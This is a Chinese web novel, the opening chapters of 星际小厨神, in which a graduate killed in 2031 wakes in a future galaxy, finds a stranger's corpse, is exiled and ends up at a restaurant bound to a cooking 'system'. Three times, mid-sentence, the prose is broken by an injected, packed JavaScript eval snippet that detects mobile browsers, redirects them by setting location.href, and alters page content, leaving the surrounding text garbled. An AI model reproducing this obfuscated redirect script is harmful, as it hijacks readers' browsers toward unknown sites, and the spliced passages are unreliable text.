《星际小厨神》 1. 穿越 星历3164年，春。 宋秋光睁开眼睛，她的脑袋好像先是被卡车来回碾过，碾完又放在磨刀石上磋磨，好像她的脑子是什么不值钱的东西，有人要拿来榨汁喝。 映入眼帘的不是卧室天花板上熟悉的贝壳护眼灯，而是以黑白灰为主色调的陌生房间。 她把目光投向床边，那里悬浮着一个杯子，浅浅的水里有一小团光在旋转。 宋秋光以起床时相同的角度躺回床上，闭上眼睛，又真挚地在心里数了十秒钟，她再度睁开眼睛，房间里弥漫着说不出来的香味，香味过于真实，她心里一沉，这并不是梦境。 “滴滴滴——”不知道从哪里爆发出的声音，吓了她一大跳，这声音和催命符一样席卷了整个房间，四面墙壁都泛起不祥的红光。 宋秋光从床上起来，花了一会儿工夫才找到声音的源头，有点意外的是，罪魁祸首是一条流淌着红光的光带，很轻薄，她还没猜出这究竟是个什么东西，只见那条光带自己变换了形状，最后在类似手表的形状固定下来。 ［已自动唤醒，新的语音请注意查收。］ 应该算得上是表盘的位置出现了这么一行字，宋秋光低头扫了一眼，还没来得及伸手，光带手表就过于自觉地贴合在了她的右手手腕上。 手表停止了散发噪音，又收起了红光，邮件的真容终于显露出来。 “索菲亚，你是彻底不想干了吗？我已经连续给你发了三天邮件，再不回复你就给我滚出第七星系，我们公司不缺你这号人。” 邮件上的头像是一个长得很像哪个男明星的男人，她一时想不起来那个男明星的名字，美中不足的是，这个男人留着一圈络腮胡，她对络腮胡很不感兴趣。 在对此男的颜值进行了一番鉴赏之后，宋秋光感到自己的头又痛了起来，她明明是个连英语四级都426分低空擦过的学渣，刚才却能听明白这个男人说的每一个单词。 好在她还有丰富的小说阅读经验，宋秋光觉得自己是穿越到了这个名为索菲亚的女生身体里，可是真正的索菲亚去了哪里呢？ 她暂时忽略掉那封邮件，专心地寻找起索菲亚的影子。 在一个人的家里寻找她的痕迹当然是件很简单的事情，宋秋光在客厅找到一张索菲亚的照片，虽然比起照片，它看起来更像是科幻作品里时常出现的全息投影。 客厅的空间很小，只放了一张沙发，旁边摆着一盆无风自动的绿色盆栽。宋秋光认不出这是什么植物，它有淡绿色的叶片，每片叶片边缘都有一道清晰的铜锈，往上是开得很敷衍的几小簇花。 花朵被一道反重力的水流淋着，过了五六秒钟，水流没有征兆地停止，代替水流升起的是一道细长的迷你彩虹，索菲亚的照片就漂浮在水流和彩虹的上面。 索菲亚是一个白皮肤、蓝眼睛、个子高挑的白人女性，她在照片里笑得非常开心，和宋秋光没有半毛钱的相像。 宋秋光忽然意识到哪里不对，她看向前方，自己的视野和往常一样，而索菲亚在照片里看起来起码得有一米八。 站在卫生间的镜子前，宋秋光的脑袋又成了浆糊。 镜子里的她并非索菲亚，而是如假包换的宋秋光本人，黄皮肤和黑眼睛，还染了非常适合她肤色的奶茶棕。她本来就和索菲亚没有一点相像，这下更是彻底打破了她魂穿的幻想。 宋秋光坐在卧室柔软的地毯上陷入沉思，她没有穿成索菲亚，那就说明索菲亚很有可能是暂时出去了不在家。她现在属于实打实的异世界偷渡客，不仅没有自己的身份，还无家可归。 出于对自己看过的无数本小说套路的理解，宋秋光出了声，“你好，请问就是系统在吗？” “金手指有吗？” “真没有？什么都没有？” 回答她的只有死一样的寂静。 宋秋光彻底无语住了，谁家好人就这么硬穿啊？ 什么也不给，就让她穿越到和科幻电影无异的时代来，她只不过是一个毕业即失业的普通大学生，打小讲文明懂礼貌，又不是什么十恶不赦的犯罪分子，干嘛要这么对她？ 宋秋光气极反笑，不过想想这里毕竟是索菲亚的家，保不齐她下一秒就会回来，到那时候宋秋光就是有八张嘴也说不清了。 手腕上的光带手表是属于这个时代的科技，虽然不知道是什么材料，但是完美贴合着人体曲线，相当紧密的贴合却不会让人觉得不适。 只是当宋秋光决定要取下它的时候，又感觉它似乎贴合得太过，让她有种错觉，好像这个手表并不是环绕在她的手腕上，而是生长在她的血肉里。 尝试了好几种办法都没有对这块手表造成半分影响，宋秋光觉得自己要是弄坏了那更是赔不起，只好努力地把自己缩成一个球，等待来自索菲亚的审判。 毕竟作为一名生在红旗下的守法公民，她也做不到把别人的东西偷偷带走，她实在下不去这个手。 再次感叹了下自己的倒霉，宋秋光又发散开了思维，谁会信任一个擅自闯入自己家的陌生女子？更何况她和索菲亚还是两个时代的人。 换作是她的话，她一定会先报警，管闯入者有什么了不得的苦衷，一切等警察来了再说。 宋秋光已经看见了监狱里漆黑无光的单间在向她招手。 ［Ⅲ号能源有泄露风险，危险程度高达78%，请您亲自确认。］ 手表似乎是通了电，狠狠给了宋秋光一下，让她梦回很多年前的冬天，家里特别干燥，她很容易被静电电到。由于什么东西都有可能给她猝不及防电她一下，导致她后来对门这个静电大户产生了莫名的心理阴影。 宋秋光看向发着淡蓝荧光的屏幕，在卫生间的旁边还有一个小房间，那里闪烁着一个红点。 她本来没准备前去确认，之前以为自己是穿越了且不论，现在再乱进索菲亚的房间属实不太合适。 然而手表看她一直没动，可能是以为她死了，又扎扎实实地电了她两下，电得宋秋光只好过去。 索菲亚的房子除了入户门，就只有这个小房间有单独的一扇门，门上没有她熟悉的任何东西，猫眼、门把手和密码锁，什么也没有，只是一整扇门。宋秋光试着推了一下，门被推动了。 似乎是感应到了有人入内，柔和的灯光缓缓亮起，落在宋秋光身上。 房间里什么也没有，只有索菲亚，不，更确切的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287222|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来说，只有索菲亚的尸体。 宋秋光不自觉地后退，直到后背砰的一声撞上门，她一时没站稳，跌坐在了地上。 索菲亚毫无疑问是死了，她躺在一个长方形的透明棺材里，棺材的高度让她和躺在地上其实并没有什么区别。她的脸看起来非常安详，如果忽略独属于死人青白无生气的脸色的话，索菲亚像是睡着了。 宋秋光死死地捂住自己的嘴，尖叫没有从她的嘴里漏出去半分，但她感觉自己的口腔里有了血腥味，大概是咬到了舌头。 她坐了一会儿，勉强有了力气，连忙从冰冷的地面上起来，然后逃也似的离开了这个房间。 宋秋光离阳台近了一些，这个世界的阳光很冷，她觉得热，又感觉到一股刺骨的寒意。 她最后的记忆是自己在准备面试，特地熨了西裤，裤线熨得特别完美，然后她要出门，是的，要出门，出门，出门…… 然后呢？ 她要去哪里？ 宋秋光抱住脑袋，她想不起来，再之后的记忆就是她在索菲亚的房子里醒来，这中间发生的种种，她什么也想不起来。 索菲亚的脸又浮现在她的眼前，宋秋光稳了稳心神，苦笑了一下，这下好了，要把自己亲手送进监狱了。 宋秋光开门未果，只好研究起那块拿不下来的手表，它的保密性很强，刚才闪烁的红点消失了，界面也强制退了出去。现在她只能看到让索菲亚滚出第七星系的那封语音邮件。 不对，宋秋光想起那个男人的话，他已经连续三天给索菲亚发了邮件，而索菲亚没有回复。 刚才粗略的一看，索菲亚也没有明显的外伤，最重要的是，她没有判断错，索菲亚不仅身高达到一米八，还有非常明显的肌肉，在学校苦读十四年、风一吹就倒的她绝对不会是索菲亚的对手，就算她真对上索菲亚，躺在棺材里的也应该是她。 而且她就是再怎么失忆，也不可能先杀掉索菲亚，再美美地鸠占鹊巢，这两件事无论如何她都是做不出来的。 ［指纹识别成功，欢迎。］ 宋秋光想得入迷，没注意表盘上滚过这么一句话，她再低头，只看见八封血红色的邮件一字排开，占据了主屏幕的所有地方，发件人都是那个长得像明星的男人。 她点进去，最早的一封邮件是三天之前送达的，那时这个男人说话还算客气。然而只是一天就消耗掉了他不多的耐心，他开始指责索菲亚没有责任心，自己的项目不知道跟进，指望谁有闲工夫来跟，诸如此类，都是一些废话，没有什么用。 宋秋光面无表情地看完了所有邮件，刚感慨了一句未来为什么要把叉号取消掉，她根本不知道怎么把这些邮件叉掉，屏幕就好像有了灵性，邮件消失了，浅蓝色的屏幕重新占据她的视线。 她忽然注意到一行小字：用户Q24804597已登录。 宋秋光没来由地颤栗了一下，她点开了那行字，看见了一张脸。 在镜子前，她清楚地看到自己的脸，鼻梁上架着一副黑框眼镜，长发微卷，看起来总是很命苦的样子。 而屏幕上面容识别的那张脸属于索菲亚。 她和索菲亚，毫无相似之处。 2. 索菲亚 她完全不了解这个时代的科技，但即使是2031年，也断然不会发生如此低级的错误，她和索菲亚是长相完全不同的两个人，屏幕却将她和索菲亚识别成一个人。 而其中一个人已经死去，躺在冰冷的棺材里了无生气，这听上去像是什么三流恐怖故事的展开。 宋秋光深吸一口气，用了最大的力气揪住自己的左手腕，疼得她眼泪都掉了下来，屏幕上索菲亚的脸却顽固地不曾改变。 ［有客人光临，请注意查看。］ 屏幕上索菲亚的脸失去了踪影，那个男明星的脸出现在屏幕上。 透过浅蓝色的屏幕，他怒气冲冲地看着她。 宋秋光猜测这应该是实时监控，因为下面是一连串数字，看起来像是在表达时间。 她来到门后，仍然对门怎么开这件事感到挫败，手表却发出了一声轻响，下一秒，门开了。 “你是怎么回事？”来人看到门突然洞开，也错愕了一下，但是很快，宋秋光注意到了他挥舞着的拳头，这一拳完全能打八个她。 宋秋光已经做好被打的准备，体面地闭上眼睛，想象中的疼痛却没有来临。她睁开眼，男人的拳头确实打了出去，只是打在了墙壁上，墙壁的质量很好，反而是男人的拳头流下血来。 “索菲亚！”男人尖叫着，“我已经给了你，整整三天时间！” “还给你发了八封邮件！” “我还以为你是死在家里了，”宋秋光颇为可疑地看了看小房间，但是男人没注意到她的眼光，“既然你没死，就现在，立刻，马上给我到公司去。” 宋秋光啊了一声，男人的眉毛又高高扬起。 他没给宋秋光犹豫的时间，直接拽着她离开了房间，男人的力气出奇得大，几乎把她拽得起飞。 “奇怪，你是不是变矮了？”男人忽然回头，“而且也变瘦了？” 宋秋光只觉不妙，她本来以为未来的科技出了故障，把她识别成了索菲亚，面前这个男人的眼睛也出了故障，做出了相同的判断。 她刚想编一个借口出来，男人却没再理她，直直地看向窗外。 宋秋光这才注意到屋外，是一条长度可观的走廊，尽头是一扇巨大的窗，从外面撒进来大片阳光。走廊上非常寂静，她没有看见门，每一户人家也许就藏在这些没有门的房间里。 她忍不住回头看了一眼，索菲亚的房门关上了，也变作一间没有房门的家。 好像它从来没有存在过。 男人名叫布莱斯，他半躺着，也不知道他是用哪种方式驾驶的。宋秋光被迫坐在了他的旁边，未来人的出行不再依靠自行车、电动车、公共交通、和汽车中的任何一种，变成了飞船。 飞船非常狭小，仅能容纳三人，宋秋光觉得飞船的舒适度很差，之前看见飞船的新鲜感也散去了一些。 “到公司记得把C案第一时间上交给总工。”布莱斯轻飘飘地来了一句。 终于来了，宋秋光压根不知道C案是什么，只在心里祈祷索菲亚不是什么高精尖的技术性岗位任职，否则她应该能用华夏人特有的圆滑话术混过去。 ［C案进度，47%］ 宋秋光本来期待着能从手表里找到关于C案的信息，一直把屏幕固定在布莱斯看不清而她能完全看到的角度。尽管布莱斯频频投来探究的目光，她也咬着牙没管。 然而散发着淡蓝荧光的屏幕似乎听不到她的心声，如果说她先前看的屏幕是50%的大小，现在它变成了500%。 只要布莱斯长了眼睛的话，他就应该全看见了。 她不敢去看布莱斯，只听见一个过于平静的声音，平静得仿佛暴风雨来临的前兆。 “索菲亚，我对你很失望。”布莱斯说。“我们都知道这件事很重要，我是信任你，才把C案交给你来做。” “但是你是怎么践踏我的信任的？邮件一封不回，语音不听，星讯也不接，我给了你一次又一次机会。” “总工现在就在我的办公室里等着，我亲自来接你，然后你就给我看47%的C案？” “你被解雇了。” 布莱斯点开一个图标，宋秋光只觉得眼前一花，自己忽然感受到了风，再下一秒，她就只记得布莱斯的蓝色眼睛，他看向她，目光里再没有一丝感情。 “那也没必要——”宋秋光大喊，“杀人吧？” 布莱斯的飞船把宋秋光从高空中抛下了，她现在正在做自由落体运动，耳边是呼啸的风声。见鬼，未来人没人权吗，随随便便就能谋杀一个人的？ 她要死了，宋秋光脑海里只剩下这个想法。 不知道离地面有多远，但她感觉自己死得很漫长，路过还撞碎了冰凉的水汽，那应该是某一朵不幸的云。 ［用户海拔非正常变化中，应急模式启动。］ 宋秋光躺在了一架飞船里，飞船的内部几乎都是深蓝色，总体来说和布莱斯的飞船区别不大，甚至就空间来说还要更大一些。 至少她可以躺着。 她偏过头，索菲亚的脸出现在手表上方的屏幕上，看起来既虚幻又真实。 “谢谢你。”宋秋光说，她清楚索菲亚已经死去，给她留下了莫名其妙的谜团，而且越来越像游荡在人间的鬼魂，但索菲亚确实救了她。 这是索菲亚的飞船。 宋秋光摸索了片刻，决定还是先回索菲亚的家，其实她根本也无处可去。 她清了清嗓子，“我想想，目的地怎么设置？” 手表没有动静。 “回家？” 手表依旧没有动静。 “不是我说，你这个破手表到底有什么用，这也不能那也不能，刚刚还差点害死我，我差点以为布莱斯要吃人。”宋秋光一拳捶在了手表上，手表纹丝不动。 ［用户Q24804597，您已失去第七星系居住权，您的请求均无法实现。］ 宋秋光：“……” 布莱斯这个狗男人，还真让她滚出第七星系了。 但是索菲亚的尸体还在她的家里，宋秋光猛然想起这件事，要是被发现了，她在外人面前又被认成索菲亚，这青天白日的，不就成诈尸了吗？ 和手表斗智斗勇半小时后，宋秋光败下阵来，手表太过智能就是不好哈，她来回折腾，还是不能把飞船的目的地设置为索菲亚的家。 她把目光投向飞船内部，布莱斯的飞船是有控制区的，但索菲亚的没有，空空荡荡。 “回……”宋秋光其实有点难以启齿，但她还是努力说了下去，“我的家？” ［请求已接收。］ ［驳回。］ 这两条信息中间几乎只差了一秒。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287223|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凭什么？”宋秋光从地面上爬起来，“我家都不给回，没王法是吧？” ［用户Q24804597，再次提醒，您已失去第七星系居住权，莱文集团为您提供的居住地已回收。］ 宋秋光眼前一黑，合着索菲亚的家不是她的家，只是员工宿舍。 不过就员工宿舍来说的话，那还蛮豪华的。 宋秋光又轻轻捶了手表一下，以免把它捶坏没地修。现在她是真的无家可归的黑户了，身边只有索菲亚的一架飞船和一块手表，这块手表还老大喘气，不肯一次性把话说完。 而她就算是想把飞船和手表还给索菲亚也没辙了，她甚至不知道索菲亚的家在哪里，如果除了员工宿舍索菲亚还有家的话。 宋秋光又躺了回去，直到饥饿姗姗来迟，“我还以为未来人把饿肚子都进化掉了呢。” 咔的一声，宋秋光锁定那支突然凸出的透明管，里面荡漾着粉色的液体。 透明管上雕着一个银色的标志，她试着辨认了一下，似乎是某种藤蔓，密密麻麻的，又像是某种毒蛇。 “这是什么？”宋秋光问。 手表扫描了一下那管粉色液体。 ［I型草莓味营养液，埃洛文实验室出品，星历3143年产。］ 营养液？ 宋秋光仔仔细细地把它看了一遍，它看起来和那种特别廉价的色素饮料没什么区别，一口下去全是香精。 而且她不想喝什么营养液，她想吃饭，香喷喷、白花花的大米饭，要求也不高，再来个西红柿炒鸡蛋就可以了，她可以自己做饭。 但是空荡荡的飞船上只有这么一支营养液，宋秋光惆怅地把它取下来，像奔赴刑场似的一饮而尽。 嘴里仿佛炸开无数颗草莓，她清晰地知道自己只是喝下了一管粉色的神秘液体，然而大脑给了她另外一个答案。 她好像回到了无忧无虑的大学时代，某一个没有课的午后，她没吃午饭，而是一口气吃下了两大碗新鲜草莓，果肉软软的，丰富多汁，还带着浓郁的草莓香气，美味得不像话，简直不是现实里能吃到的东西。 宋秋光回过神来，“未来人真是好命，能吃到这么好吃的草莓。” 不是，她根本没有吃到草莓啊，宋秋光把目光投向那支空管，同时意外地发现自己没有了饥饿的感觉，好像自己真的吃了那么多草莓。 但没过多久，难以忍受的空虚感也随之而来。 “我现在该怎么办？”宋秋光倚在飞船边缘，随口问了问，并不期待手表真的给她一个回答。 然而屏幕凑到她面前。 ［您已失去第七星系居住权，建议在两天之内离开第七星系，否则您将获得第七星系监狱居住权。］ 这个该死的手表现在还有了令人无语的幽默感，宋秋光压制住了想要痛打手表的欲望。 “我该怎么离开？” ［通过第七星系任一渡口离开即可。］ “然后呢？” ［本产品可在第七星系境内使用，下层星系无此权限。］ 什么乱七八糟的，宋秋光戳了戳屏幕，那行字却一直没消失。如果她没猜错的话，第七星系大概是属于什么中层星系，她要是离开第七星系，就会步入下层星系，在那里，这块手表就会失去作用。 总的来说，她就是倒了八辈子霉。 3. 厨神系统 宋秋光思考了很久，她当然不愿意离开第七星系，索菲亚的事情还没有解决，手表也会在离开第七星系后无法使用。 但她没有别的办法，她不想以身试险，去看看自己能不能从未来的监狱里脱身。 “目的地设置为最近的星系渡口。”宋秋光下定了决心。 ［请求已接收。］ 屏幕上出现了一个跳动着的小房子标志，距离她并不远，大概就是手表所提到的星系渡口。 宋秋光打算睡一会儿，这一天把她折腾得够呛，“到达目的地把我叫醒。” ［目的地已到达。］ “？”宋秋光沉默了。 屏幕上刚刚还显示她距离星系渡口有一段距离，现在已经和代表着她的小红点重合了。 接近了星系渡口，手表收起了一直以来展开的屏幕，不再散发光芒，和一块普通的手表好像没有了区别。 宋秋光摩挲了两下表盘，她刚从飞船下来，飞船就自觉地消失在了她的身后，周围的人对此见怪不怪，好像一个飞船咔嚓一下消失是一件很普通的事情。 ［已为您申请好各项手续，请至八号窗口办理。］ 宋秋光走到八号窗口前，里面是一个皮肤白得出奇的女孩子，“索菲亚？” “……是我。”宋秋光顿了一下才答应道。 女孩上下扫视了她两遍，又不耐烦地在屏幕上滑动了几下，“去九号窗口。” 宋秋光愣住了，女孩点了一下某个图标，窗口在她面前关闭了。 ［您已被第八星系拒绝。］ “刚才是面试？”宋秋光这下真是呆住了。 ［您毫无常识吗？］ 手表终于显示了一个问句，但宋秋光毫无心情。 面试吗？宋秋光不自觉地紧咬牙关，她不想回想起自己关于面试这两个字的任何痛苦经历。 但是它追了上来，像一把不留情面的铡刀。 ［您已被第九星系拒绝。］ ［您已被第十星系拒绝。］ ［您已被第十一星系拒绝。］ 手表颇具人性地不再电她，但宋秋光只是看向最后一个窗口，第十二星系的窗口，她的最后一次机会。 “索菲亚？” “是的。”宋秋光麻木地点头，第十二星系的窗口里站着一个女孩，她的半边身子都闪着机械的银光，她看起来很温柔，宋秋光想。 “你为什么想要来第十二星系呢？” 因为她已经被前面所有星系拒绝了，这样实诚的话语宋秋光说不出口。 但是这一瞬间她觉得很累，她好像从来没有这么累过，于是她把心里话说了出来。 笑得很温柔的女孩子怔住了，宋秋光等着她给自己宣判死刑。 “那么，第十二星系再见。” 宋秋光又回到了座位上，各个星系的窗口人来人往，相当热闹。 她捶了捶自己的脑袋，她不能就这么沮丧下去，还是要尽快想出下一步该怎么办。 ［您已成为第十二星系居民。］ 宋秋光猛地从座位上站起来，第十二星系的窗口里还是那个女孩子，她似乎看到了宋秋光，对她眨了眨眼。 女孩笑得还是如春风般温柔。 由于宋秋光携带的只有一块手表和一架飞船，检查时间不长，所以她比其他人过渡口花费的时间也短得多。 而在离开第七星系渡口之后，手表就黯淡了下去，宋秋光试着按了按，它毫无反应。 渡口停着一艘巨轮，人们像蚂蚁一样爬到这艘船上，宋秋光抬头，看见无数星辰汇成的星海，纵使是世界上最华丽的语言也描述不出来那片星海的璀璨。 而唯一接受了她的第十二星系，是什么样的呢？ 宋秋光在船上颠簸了两天时间，她失去了那块手表，只好靠周围人的行动大致估算。 “第十二星系三号渡口停靠，下船的乘客请注意。” 呼啦啦地站起来了一群人，宋秋光注意到这些人几乎都是第十二星系的新居民，她也跟着站了起来，一号渡口和二号渡口明明都没什么人下去，后面也还有四至六号渡口。 不过这种情况下还是随大流比较好。 下船还有一次检查，宋秋光听到有人嘟囔了一句，“就你们事多，要不是不要钱打死我我也不坐。” 她的全部财产锐减到了一架飞船，而没有手表，她似乎也无法让飞船出现，检查的人没有过多地关注她，摆摆手让她走了。 她又一次走在众人的前面。 第七星系是一个低调奢华的星际大都市，第十二星系却简直和她老家没什么区别。 没有任何高楼大厦，天空也不再是铅灰色，在第十二星系，她的目力所及之处都是葱葱茏茏的绿色，空气清新宜人。 宋秋光把想法都抛在脑后，她在船上只喝了两支不知道谁送的营养液，味道非常不错，但她急需摄入真正的饭菜，米得是真米，菜得是真菜。 远处像是一个居民聚集区，宋秋光努力看清了那块挂着彩灯的广告牌，上面的字相当花里胡哨。 “克里斯汀？”宋秋光把这个名字在嘴里过了一遍，不清楚这是怎么个意思。 “那是家餐馆。” 她转头，看见一个和蔼的中年女人。 “你还这么年轻，到第十二星系定居，要学会吃饭。” 宋秋光一时无言，没想到她芳龄已经二十四岁，现在要从头开始学吃饭。 女人很快随着人流走远了。 宋秋光踏上了去克里斯汀的路，再次感觉这里和她老家差不了多少，虽然每一棵草、每一朵花和每一只鸟，她都叫不出名字。 但她就是有这种感觉。 “走过路过，不要错过，十二星系的新居民有折扣喔。” 宋秋光走近了，那块广告牌更加扎眼，令人怀疑制作这块广告牌的人是不是不知道审美为何物。 她迟疑了一下，还是走进了克里斯汀。餐馆不大，但是很整洁，左右各是六张长桌，靠近门边放的则是双人桌。餐馆里已经零零散散有几个人落座，空气里漂浮着饭菜的香味，令她安心了不少。 宋秋光随便找了个位置坐下，手刚碰到桌面，一个白发苍苍的老奶奶就挪了过来。 “新来的？”她问。 宋秋光点点头，老奶奶忽然由内而外地焕发出一种奇妙的光彩。 “我叫克里斯汀，你的名字是？” 原来是这家餐馆的老板，宋秋光心下一定，不知怎的，她鬼使神差地吐露出自己的真名。 “宋秋光。” “好名字，”克里斯汀笑了笑，一笑起来，她脸上的皱纹就多了四五十条。“我推荐这个，应该适合你。” 克里斯汀指了指餐桌的桌面，那上面显现出一碗蛋炒饭，底下的价格是三个星币。 宋秋光一时拿不准三个星币是贵还是便宜，之前在船上，她看见别人购买营养液，似乎只是做了什么手部动作。 希望索菲亚的账户上至少有三个星币，她会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287224|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还的。 “两个星币，看在你是新人的份上。”克里斯汀还是笑眯眯的。 “好。” 蛋炒饭上来得很快，宋秋光本来不觉得自己如何饿，看到油汪汪的蛋炒饭什么也不想了，直接一个风卷残云，把饭吃了个干干净净。 说实在话，蛋炒饭味道还可以，但是放的油太多，而且有点糊了，最要紧的是，这个饭肯定不是隔夜饭。 桌面上缓缓出现一个洞，宋秋光看见放着蛋炒饭的盘子并筷子掉了下去，心里不断告诉自己，这就是未来，不要大惊小怪。 桌面合上，出现了两块星币的图案，提醒着她付款，宋秋光照着别人的样子触碰桌面，始终没有显示支付成功。 “亲爱的，”克里斯汀不知何时出现了，“这样。” 她拉起宋秋光的手，先是敲击了两下，再把她的手掌摊开在桌面，往下一压，桌面上两个跳动的星币排着队走掉了。 宋秋光觉得这应该是支付成功了，然而这次她看清了一个数字，她不得不叫住转身的克里斯汀。 “您好，请问这里还缺人吗？” 宋秋光有点局促地把手放在了克里斯汀看不见的地方，索菲亚的账户余额只有四百三十二个星币，她吃了一碗蛋炒饭，现在变成了四百三十个星币。 按照一碗蛋炒饭三个星币的物价来算，出了这个门她就该露宿街头了。 克里斯汀看着她，就在宋秋光觉得她命休矣的时候，克里斯汀说，“缺的，如果是你想来工作的话，我非常欢迎。” 克里斯汀的餐馆目前只有她和一个厨师，她负责为客人点餐，厨师负责做饭，晚些时候会有另外一个女孩过来帮忙打扫和采买。 克里斯汀一直想招个人，她是个心肠很好的老太太，餐馆赚不到什么钱，能给出的薪水不高，所以一直没有人来应聘。 宋秋光很高兴，想到那碗蛋炒饭，就更高兴了。 她终于可以吃饭了！ 一直喝营养液的生活是谁在爱！ 反正不是她。 克里斯汀答应让她住在餐馆二楼的一间房间里，据她说那间房虽然空置了很久，但东西是基本齐全的。 “对了，”克里斯汀说，“二楼的厨房你可以随意使用，我会拜托汪玉把东西都带上去。” 汪玉是那个晚些时候来帮忙的女孩子。 宋秋光美滋滋地幻想起了以后的小日子，看来她也不是很倒霉嘛，至少遇见了一个好人，还找到了一份包吃包住的工作。 晚上，餐馆静悄悄的，整个下午，宋秋光都在收拾房间和厨房，累得她腰酸背痛。 她没看见汪玉，厨房里却已经不声不响地多出了餐具、厨具、食材和日常用的调料。 虽然绝大多数都不知道是用来干啥的，不过她不是很在意这些细节。 宋秋光点开灶火，火焰熊熊燃烧，她连忙把碗里的鸡蛋打散，先往锅里倒油，鸡蛋煎好之后盛出来。 她多放了一些葱，开了小火，把米饭倒入锅中，不断翻炒，炒得差不多了，就把先前煎好的鸡蛋和着米饭一起炒，厨房里满是蛋炒饭的香味，宋秋光忍不住笑了一下。 她回忆着那些奇怪调料的味道，试图把它们的味道和外表对上号。 没有丝毫预兆，冰冷的无感情的声音响起，像一把冰刀，从她的脑袋外面往里钻，几乎要把她的脑子劈成两半。 ［厨神系统已激活，宿主绑定中。］ ［绑定成功。］ 宋秋光的铲子一歪。 4. 蜘蛛 宋秋光忍着头疼把火关掉，靠在旁边的椅子上大口大口地喘气。 她这脑袋一天天的遭了不少罪，再来几次她就该变成傻子了。 疼痛来得快去得也快，宋秋光试探性地揉了揉太阳穴，惊觉自己出了一身冷汗。 “白洗澡了。”她有点低落。 ［宿主可以使用免费清洁服务喔，本系统超贴心赠送，不用花一毛钱，您值得拥有。］ 宋秋光好不容易把眼神聚焦到手表上，早在离开第七星系之后，它就失去了使用权限，一直保持着普通手表的状态没有变化。此刻，通过手臂，手表传来熟悉的微电流。 “手表，你成精了？”她小心翼翼地说，贴心地没有使用诈尸这个更加适合的词。 ［这是对我高贵统格的诽谤，行不更名坐不改姓，厨神系统是也，而宋秋光你，是我的宿主，以及你的脑袋没毛病，别再摇了。］ 宋秋光一时不知道该怎么面对，头越发疼了。 “你先别说话。”她缓缓地挪到床上，感恩这个世界还没有把床抛弃掉。 有点招全往她脑袋上使，她根本还是个天选倒霉蛋，眼前天旋地转，看见的每样东西都有三四个影子，有的好像还长了腿脚准备跑掉，宋秋光叹了口气。 人倒霉起来真是喝口凉水都塞牙，她勉强好受了一些，起身应付这个半路冒出来的什么破厨神系统。 “你这个厨神系统是干什么的？”宋秋光受限于脑袋疼，半天才干巴巴地憋出一句。 ［这是什么话，听着多让系统伤心啊。］ ［我可是你的救命恩统哎。］ “救我？”宋秋光一愣，“什么时候？” ［你这人怪健忘的哈，你出了车祸自己不记得了吗？］ 车祸？什么车祸？ 宋秋光感到脑袋又疼了起来，手指拂过脸颊，发现自己已泪流满面。 “有没有止痛药什么的？”她有气无力地问，“我现在快过去了。” 真实性还存疑的系统这时候闭嘴了。 ［概不赊账。］ 真抠，宋秋光彻底晕了过去，耳边隐约听到那倒霉系统又说了一句什么。 2031年4月17日，宋秋光死了，死于一场车祸。她在出门面试的路上，被一辆失控的大卡车直接碾过，被拖行了整整三十米远，家属面对尸体的时候完全无法辨认，因为她的整张脸都被压扁，全身上下没留有一块好骨头。 宋秋光像鬼魂一样看着自己的尸体，面无表情。 厨神系统没有说谎，它救了自己。她看见系统费了好大劲才把自己从2031年偷出来，路上又遭遇了时空乱流，混乱之中，它带着自己来到了星历3164年，做完这些，它大概也用尽了所有力量，沉眠于那块光带手表里。 她来到3164年时，索菲亚就已经死了，是暂时寄居在手表里的系统改换了所有人的认知，让她可以解锁索菲亚的面容，又借着索菲亚的身份平安来到第十二星系。 宋秋光觉得这几天她受的打击比她过去二十四年来得都多。 “谢谢。”她醒了过来，好像有许多话要说，最后只吐出了这两个字。 ［小事儿。］ 宋秋光的脑袋已经不疼了，她半倚在墙上，“你为什么要救我？” ［你是我的宿主。］ 她顿了一下，“好吧，那我需要做些什么？” ［本系统为厨神系统，希望宿主加油努力，成为厨神。］ “？”她一时半会不知这槽该从何吐起，好半会儿才把自己的声音找了回来。 “你知道现在不是2031年，是星历3164年吧？” ［知道。］ “那你知道中层星系的人都喝营养液，不吃饭吧？” ［知道。］ “那你知道只有下层星系的人才吃饭，才做饭吧？” ［知道。］ 宋秋光心想这系统不知道有没有脑子，有的话脑子肯定有毛病。 “这种情况我做什么厨神？”她苦笑，“做梦啊？” ［哎哟，没有条件我们创造条件，不要轻易放弃嘛。］ 宋秋光把系统扔在一边，不想理它，时间没有过去多久，她还闻得到蛋炒饭的香味。 没管那些瓶瓶罐罐里的调料，她只加了盐，蛋炒饭就已经很好吃，也许是真饿着了，她把整碗饭都一口气吃完了。 ［很好吃吗？］ 